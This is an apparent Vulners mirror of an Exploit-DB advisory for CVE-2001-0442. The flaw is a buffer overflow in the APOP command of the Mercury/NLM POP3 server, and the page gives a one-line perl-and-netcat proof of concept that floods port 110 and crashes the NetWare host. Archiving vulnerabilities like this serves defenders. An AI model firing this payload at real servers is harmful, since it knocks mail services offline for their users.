Lucene search
+L

Mercury/NLM 1.4 - Buffer Overflow

🗓️ 21 Apr 2001 00:00:00Reported by Przemyslaw FrasunekType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 22 Views

Mercury MTA is vulnerable to buffer overflow in APOP command, affecting remote users' access.

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2001-0442
9 Mar 200205:00
cve
Cvelist
CVE-2001-0442
9 Mar 200205:00
cvelist
EUVD
EUVD-2001-0439
7 Oct 202500:30
euvd
NVD
CVE-2001-0442
27 Jun 200104:00
nvd
source: https://www.securityfocus.com/bid/2641/info

Mercury MTA is a mail-transfer agent available for Novell NetWare and Windows NT. Novell versions of the Mercury POP3 server prior to 1.48 are vulnerable to a buffer overflow caused by inadequate string handling for the APOP authentication command.

Because the overflow occurs in an authentication command parser, unauthenticated remote users can trigger the overflow. It is unknown whether the overflow can lead to arbitrary code execution, but proof-of-concept code is available that will crash the NetWare server, requiring a reboot.

perl -e 'print "APOP " . "a"x2048 . " " . "a"x2048 . "\r\n"' | nc mercury_host 110

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Aug 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.05343
22